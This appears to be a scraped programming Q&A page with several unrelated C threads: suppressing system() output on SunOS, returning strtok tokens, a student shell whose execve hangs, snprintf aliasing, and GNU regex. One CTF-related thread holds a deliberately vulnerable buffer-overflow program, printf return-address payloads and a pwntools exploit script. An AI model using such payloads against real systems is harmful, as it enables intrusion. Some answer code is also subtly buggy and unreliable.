I'm trying to figure out how to do a system() function call (in C) on SunOS and NOT have anything printed to stderr (or stdout). Currently, the following code compiles/runs on Linux, OSX, HP-UX, and SunOS. On all but SunOS, I get a nice output of something like:
i = 32512 (0x7f00); wexitstatus = 127
But, on SunOS I get:
sh: unknowncommand: not found
i = 256 (0x100); wexitstatus = 1
...that extra "sh:" line is annoying :)
(My goal: quiet programmatic determination of whether or not I can do "cc" and/or "gcc" commands.)
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/wait.h>
int main (int argc, char **argv)
{
int i;
char buf [1000];
strcpy (buf, "unknowncommand -c foo.c > /dev/null 2>&1");
i = system (buf);
printf ("i = %d (0x%x); wexitstatus = %d\n", i, i, WEXITSTATUS (i));
return 0;
}
The which command will find an executable that lives in your PATH variable.
which gcc
which cc
you can use this in your system call.
This is a poor man's version of which:
// performs task similar to which command
// mywhich.c
char **split(char **result, char *w, const char *src, const char *delim)
{
char *p;
w=strdup(src);
int i=0;
for(p=strtok(w, delim); p!=NULL; p=strtok(NULL, delim))
{
result[i++]=p;
result[i]=NULL;
}
return result;
}
char *detect_cc(char *cc, char **argv)
{
char search[PATH_MAX]={0x0};
char resolved[PATH_MAX]={0x0};
char *w=NULL;
int i=0,j=0;
char *result[1024]={NULL}; // set 1024 to appropriate value
char *PATH=getenv("PATH");
*cc=0x0;
split(result, w, PATH, ":");
for(i=0 ; !*cc && result[i]!=NULL; i++)
{
for(j=0; argv[j]!=NULL; j++)
{
sprintf(search,"%s/%s", result[i], argv[j]);
if(realpath(search, resolved)!=NULL)
{
if(access(resolved, X_OK)==0)
strcpy(cc, resolved);
}
}
}
free(w);
return cc;
}
int main(int argc, char **argv)
{
char cc[PATH_MAX]={0x0};
argv++;
detect_cc(cc, argv);
if(*cc)
printf("found: %s\n", cc);
else
printf("Not found in PATH\n");
return 0;
}
usage:
./mywhich gcc cc foo
It stops on the first file found. Doctor the code to suppress messages as you see fit.
You could use popen() instead of system() and explicitly capture the output of the process.
Here is one simple way to drop the output:
strcpy (buf, "sh -c 'unknowncommand -c foo.c' > /dev/null 2>&1");
i = system (buf);
Related
Below is a simple program, vulnerable to buffer overflow; it is as similar as I could make it to a bigger (CTF) program I was working on and I "extracted" (re-wrote) only that piece where the bug lies.
When the commented for loop is not in the binary, the exploit works; when the loop is in the binary, although it does nothing at all, the exploit does not work.
This is how I run the program without and with the for loop respectively:
printf 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x7b\x06\x40\x00\x00\x00\x00\x00\n' | ./a.out
printf 'a\na\na\na\na\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x7b\x06\x40\x00\x00\x00\x00\x00\n' | ./a.out
("A"*88) where 0x0040067b is unreachable() (after the prologue).
unreachable is at the very beginning, so the address remains the same both when the for loop is or is not commented out.
Then I wrote this script:
#!/usr/bin/env python
from pwn import *
s = process('./own_wumpus')
for i in range(5):
s.sendline('a')
payload = 'A'*88+'\x7b\x06\x40\x00\x00\x00\x00\x00'
s.sendline(payload)
s.interactive()
to do exactly what I think printf, cat and everything else I tried would do, but this instead works perfectly (ls executed).
This is the program.
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <ctype.h>
#include <stdlib.h>
char global[0x46];
void unreachable() {
system("/bin/ls");
exit(0);
}
char get_char() {
char c;
printf("%s\n> ", "Action");
do {
scanf("%c", &c);
} while (c == '\n');
return toupper(c);
}
int f(int fd, int max_bytes, char *buf) {
int bytes_read = 0;
int from_fd = fd;
int total_read = 0;
int max_bytes_to_read = max_bytes;
char *p = buf;
for (total_read = 0; total_read < max_bytes_to_read; total_read += bytes_read) {
bytes_read = read(from_fd, p, 1);
if (bytes_read <= 0) exit(0);
if (*p == '\n') break;
p += bytes_read;
}
return total_read;
}
int _main() {
char buf[0x46];
//for (int i = 0; i != 5; ++i) {
// *buf = get_char();
//}
memset(buf, 0, sizeof(buf));
f(0, 0xc8, buf); // intended
strncpy(global, buf, 0x45);
return 0;
}
int main() {
int false = 0;
printf(">");
if (false) unreachable();
return _main();
}
Compile with:
gcc source.c -fno-stack-protector -no-pie -fno-plt -fno-pic -Wl,-z,norelro && strip a.out
Expected output: ls executed every time.
Actual output: ls executed only with pwntools (python script above); everything else fails. When the for loop is commented out, ls is executed also with the printf A*88+address above.
My first thought was on pipes, but it would not explain the differences with the buffers with and without a's. (Even weirder, in the actual program it worked with gdb and the python script, but not with cat/printf.)
I'm trying to get commands from the keyboard in a similiar fashion as command line args int main( int argc, char *argv[] )but in a separate function. When I parse and print them within the scope of the getCmd() function all looks and behaves as intended, but as soon as they return to the main function they become a bunch of garbage. My questions are below the code.
#include <stdio.h>
#include <time.h>
#include <stdlib.h>
#include <string.h>
void getCmd(char *cmd, char *args[])
{
char input[81] = { 0 };
char *next_token = NULL;
printf("$ ");
fgets(input, 81, stdin);
input[strcspn(input, "\n")] = 0;
cmd = strtok_s(input, " ", &next_token);
if (!strcmp(cmd, "mv"))
{
args[0] = strtok_s(NULL, " ", &next_token);
args[1] = strtok_s(NULL, " ", &next_token);
printf("\n\n%s\n%s\n%s\n\n", cmd, args[0], args[1]);
}
}
int main(void)
{
char *cmd = NULL, *args[5];
cmd = (char *)calloc(20,sizeof(char));
for (size_t i = 0; i < (size_t)5; i++)
{
args[i] = (char *)calloc(20,sizeof(char));
}
getCmd(cmd, args);
printf("\n\n%s \n%s\n%s", cmd, args[0], args[1]);
return 0;
}
I don't think its relevant but I'm using VS 2015 Community with the Visual C++ compiler on a 64 bit processor, Windows 7 OS.
My questions:
How should I pass the cmd and args[] by reference?
Are there any widely accepted idioms that deal with this sort of situations?
I've looked trough a few of the similiar questions and couldn't find a solution that works in this context, if the question is a duplicate, tell me and I'll close it.Since I'm new to stackoverflow any question formatting tips would be greatly appreciated. Cheers! (:
There are a number of different ways to approach the problem. While you are free to dynamically allocate memory for cmd and your args array, there is really no need, for this limited amount of memory you can use a static declaration for all. There is no need for a separate input array, you cause use cmd for that purpose and then tokenize cmd. This provides the benefit of leaving the first token nul-terminated in cmd after strtok is called.
note: in the example below, strtok is used, strtok_s was an optional compiler addition in C11, and unfortunately, I don't have a compiler that implements that option, so I test with strtok. You can easily make the change for VS.
#include <stdio.h>
#include <string.h>
enum { NARGS = 5, MAXC = 128 };
size_t getcmd (char *cmd, char (*args)[MAXC]);
int main (void) {
char cmd[MAXC] = "", args[NARGS][MAXC] = { "" };
size_t i, n;
if (!(n = getcmd (cmd, args))) return 1;
printf (" %s", cmd);
for (i = 0; i < n; i++)
printf(" %s", args[i]);
putchar ('\n');
return 0;
}
size_t getcmd (char *cmd, char (*args)[MAXC])
{
char *delim = " ,.\t\n";
char *p = NULL;
size_t idx = 0;
printf ("$ ");
if (!fgets (cmd, MAXC, stdin)) {
fprintf (stderr, "error: invalid input.\n");
return 0;
}
strtok (cmd, delim); /* terminate after 1st token */
for (p = strtok (NULL, delim); p; p = strtok (NULL, delim)) {
strncpy (args[idx++], p, MAXC); /* limit to avail chars */
if (idx == NARGS) break; /* limit to available bounds */
}
return idx;
}
Note above, the return type of getcmd is size_t. Always choose a meaningful type to return an indication of success/failure as well as returning some needed information (the number of arguments here). Also note the C-Style Guide disfavors camelCase variable/function names preferring all lower-case instead. Leave camelCase names for C++. See e.g. NASA - C Style Guide, 1994
Example Use/Output
$ ./bin/getcmd
$ mv /this/here/file /that/there/file
mv /this/here/file /that/there/file
$ ./bin/getcmd
$ mv -i --strip-trailing-slashes /this/here/file /that/there/file
mv -i --strip-trailing-slashes /this/here/file /that/there/file
Look it over and let me know if you have any additional questions.
strtok_s() return pointer into the buffer it's parsing (input here).
input lives on getCmd() stack. It dies the moment getCmd() returns. From then on the addresses pointing into input and that had been stored in args's elements does not point to valid memory any more.
The code needs allocate fresh memory and copy what strtok_s() returned a pointer to.
Have a look on ow this can be done:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void getCmd(char **pcmd, char *args[], size_t s)
{
char input[81] = { 0 };
char *next_token = NULL;
printf("$ ");
fgets(input, 81, stdin);
input[strcspn(input, "\n")] = 0;
(*pcmd) = _strdup(strtok_s(input, " ", &next_token));
if (!strcmp(*pcmd, "mv"))
{
args[0] = _strdup(strtok_s(NULL, " ", &next_token));
args[1] = _strdup(strtok_s(NULL, " ", &next_token));
printf("\n\n%s\n%s\n%s\n\n", *pcmd, args[0], args[1]);
}
}
#define ARGS_MAX (5)
int main(void)
{
char *cmd, *args[ARGS_MAX] = {0};
getCmd(&cmd, args, ARGS_MAX);
printf("\n\n%s \n%s\n%s", cmd, args[0], args[1]);
/* Clean up. */
free(cmd);
for (size_t i = 0; i < ARGS_MAX; ++i)
{
free(args[i]);
}
return 0;
}
I am asked to implement my own shell for an Operating System class.
My shell runs every commands fine, except ls that won't return on execve, which is weird because cd, cp, mv, and all the others main commands are returning okay.
ls is still displaying the right output (the list of files in the folder), but just keep running after (execve hangs and needs a carriage return to finish).
All the options like -l, -a are also working correctly, with the same issue.
EDIT: I modified my code in order to completely avoid any memory leaks (I used valgrind to track them), added some comments so you can see what's going on, but ls is still not returning. Here is the updated version:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <strings.h>
#include <sys/types.h>
#include <sys/wait.h>
#define MAXPATHLEN 40
#define MAXSIZE 100
#define MAXARGS 10
static char cwd[MAXPATHLEN];
typedef void (*sighandler_t)(int);
void handle_signal(int signo);
void parse_command(char *command, char **arguments);
int main(int argc, char *argv[], char *envp[])
{
int status;
char *command;
char **arguments;
signal(SIGINT, SIG_IGN);
signal(SIGINT, handle_signal);
while(1) {
//Allocating memory
command = calloc(MAXSIZE, sizeof(char));
arguments = calloc(MAXARGS, sizeof(char *));
//Print shell name and cwd
getcwd(cwd,MAXPATHLEN);
printf("[MY_SHELL]:%s$ ", cwd);
parse_command(command, arguments);
//Displays command and arguments
printf("Command is %s\n", command);
int i;
for(i=0; arguments[i] != NULL; ++i){
printf("Argument %d is %s\n", i, arguments[i]);
}
//Fork exec code
if (fork() != 0){
waitpid(1, &status, 0);
} else{
execve(command, arguments, 0);
}
free(command);
for (i=0; arguments[i] != NULL; ++i) {
free(arguments[i]);
}
free(arguments);
}
return 0;
}
void handle_signal(int signo)
{
getcwd(cwd,MAXPATHLEN);
printf("\n[MY_SHELL]:%s$ ", cwd);
fflush(stdout);
}
void parse_command(char *command, char **arguments){
char buf[MAXSIZE];
char env[MAXPATHLEN];
char *tmp;
//Initiate array values to avoid buffer overflows
memset(buf, 0, sizeof(buf));
memset(env, 0, sizeof(env));
//Read command and put it in a buffer
char c = '\0';
int N = 0; //Number of chars in input - shouldn't be more than MAXSIZE
while(1) {
c = getchar();
if (c == '\n')
break;
else{
if (N == MAXSIZE)
break;
buf[N] = c;
}
++N;
}
//Extract command name (e.g "ls"), fetch path to command, append it to command name
tmp = strtok(buf, " ");
strcpy(env, "/bin/");
size_t len1 = strlen(env);
size_t len2 = strlen(tmp);
memcpy(command, env, len1);
memcpy(command + len1, tmp, len2);
//Extracts arguments array: arguments[0] is path+command name
arguments[0] = calloc(strlen(command) + 1, sizeof(char));
strcpy(arguments[0], command);
int i = 1;
while(1){
tmp = strtok(NULL, " ");
if (tmp == NULL)
break;
else{
arguments[i] = calloc(strlen(tmp) + 1, sizeof(char));
strcpy(arguments[i],tmp);
++i;
}
}
}
EDIT 2: This seems to have something to do with STDIN (or STDOUT): similarily than ls, cat makes execve hangs after executing, and I need to carriage return to have my shell line [MY_SHELL]current_working_directory$: line back. Any thoughts on why it is the case ?
In your code, in parse_command() function, you're doing
bzero(arguments, sizeof(char) * MAXARGS);
but at that point of time, arguments is not initialized or allocated memory. So essentially you're trying to write into uninitialized memory. This invokes undefined behaviour.
Same like that, without allocating memory to arguments, you're accessing arguments[0].
Note: As I already mentioned in my comments, do not cast the return value of malloc() and family.
C uses pass by value. That means that after the call to parse_command the value of arguments will still be undefined, since any assignments were made to the local copy. Instead of becoming a three-star programmer I would recommend that you have parse_command return the argument list instead:
char **parse_command(char *command){
char **arguments = malloc(...);
...
return arguments;
}
And in main:
arguments = parse_command(command);
Also look at Sourav Ghosh's answer as he points out some other bugs.
snprintf in a loop does not work on linux but it works properly on windows.
#include <stdio.h>
#include <stdlib.h>
int main( int argc, char **argv) {
char buffer[255] ={0};
for ( int i = 0; i < 10; i++) {
snprintf(buffer, 255, "%s:%x\0",buffer, i );
}
printf ( "BUFFER = %s\n", buffer );
return 0;
}
This code does not append existing buffer but only takes the last iteration value.
You can avoid the undefined behavior of using the buffer both as the target string and as an argument like this:
#include <stdio.h>
#include <stdlib.h>
int main( int argc, char **argv) {
char buffer[255] ={0};
int offset = 0;
for ( int i = 0; i < 10; i++) {
offset += snprintf(buffer + offset, 255 - offset, ":%x\0", i);
}
printf ( "BUFFER = %s\n", buffer );
return 0;
}
sprintf()'ing the result array to itself is undefined behaviour.
EDIT: if you want some code that works, here you are: use strcat() (or the safer strncat, etc. insert usual security discussion about buffer overflow here):
#include <stdio.h>
#include <stdlib.h>
int main( int argc, char **argv) {
char buffer[255] = { 0 };
char fmtbuf[64];
int i;
for (i = 0; i < 10; i++) {
snprintf(fmtbuf, 64, "%x", fmtbuf, i);
strcat(buffer, fmtbuf);
}
printf ("BUFFER = %s\n", buffer);
return 0;
}
Also note that printf() calls don't need the terminating zero to be written out manually -- it's automatically added.
snprintf does work as specified on Linux, but your code does not append it. Read the Note in the linked documentation!
You should not use as its arguments (after the format string) the destination.
If you want it to append, either ensure that you don't overflow your fixed buffer, or reallocate that buffer when it gets too small.
You could not write 'buffer' to itself by 'snprintf'.
The test code is as follow:
#include <stdio.h>
#include <stdlib.h>
#include <cstring>
int main( int argc, char **argv) {
char buffer[255] ={0};
for ( int i = 0; i < 10; i++) {
char tmp[255] = {0};
strcpy(tmp, buffer);
snprintf(buffer, 255, "%s:%x\0",tmp, i );
printf ( "BUFFER = %s\n", buffer );
}
printf ( "BUFFER = %s\n", buffer );
return 0;
}
The standard specifically states that this code is not expected to work. Firstly, the initial buffer argument is declared restrict, which means that it cannot alias another argument. Secondly, the standard has the following clause just for emphasis:
c99
7.19.6.5 The snprintf function
Description
2 - [...] If copying takes place between objects that overlap, the behavior is undeļ¬ned.
I'm trying to do some pattern matching with GNU's regex.h. I've been able to reproduce what is happening with a simple example as follows:
#include <regex.h>
#include <stdio.h>
#include <string.h>
int main() {
char pat[] = "[Mm]ark";
char name[] = "Mark";
struct re_pattern_buffer pat_buff;
pat_buff.translate = 0;
pat_buff.fastmap = 0;
pat_buff.buffer = 0;
pat_buff.allocated = 0;
re_syntax_options = RE_SYNTAX_EGREP;
printf("Ret value from re_compile_pattern: %d\n", re_compile_pattern(pat, strlen(pat), &pat_buff));
printf("Ret value from re_match: %d\n", re_match(&pat_buff, name, strlen(name), 0, NULL));
regfree(&pat_buff);
return 0;
}
re_compile_pattern() returns 0 as expected.
re_match() returns -1 and this is contrary to what I would expect.
Can anyone give me any pointers or show me what I am missing?
I couldn't compile your code on my Fedora 10 box. Instead I tried reworking it to use the POSIX regcomp() and regexec() API as R.. suggested above. I know this doesn't quite answer your question regarding the GNU API, but the following code works for me:
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <regex.h>
char *default_pattern = "[Mm]ark";
char *default_string = "youMarkmywords";
int main(int argc, char **argv) {
int ret;
regex_t preg;
char *pattern = default_pattern;
char *string = default_string;
if (argc >= 3) {
pattern = argv[1];
string = argv[2];
}
ret = regcomp(&preg, pattern, REG_EXTENDED|REG_NOSUB);
if (0 != ret) {
fprintf(stderr, "regcomp failed to compile %s\n", pattern);
exit(EXIT_FAILURE);
}
ret = regexec(&preg, string, 0, NULL, 0);
if (0 == ret) {
printf("Input \"%s\" matched pattern \"%s\"\n", pattern, string);
} else {
fprintf(stderr, "Input \"%s\" didn't match pattern \"%s\"\n", pattern, string);
}
regfree(&preg);
return 0;
}
Make sure the intermediate steps, i.e. the compilation, succeed. You should probably pass strlen(pat) rather than sizeof pat to re_compile_pattern().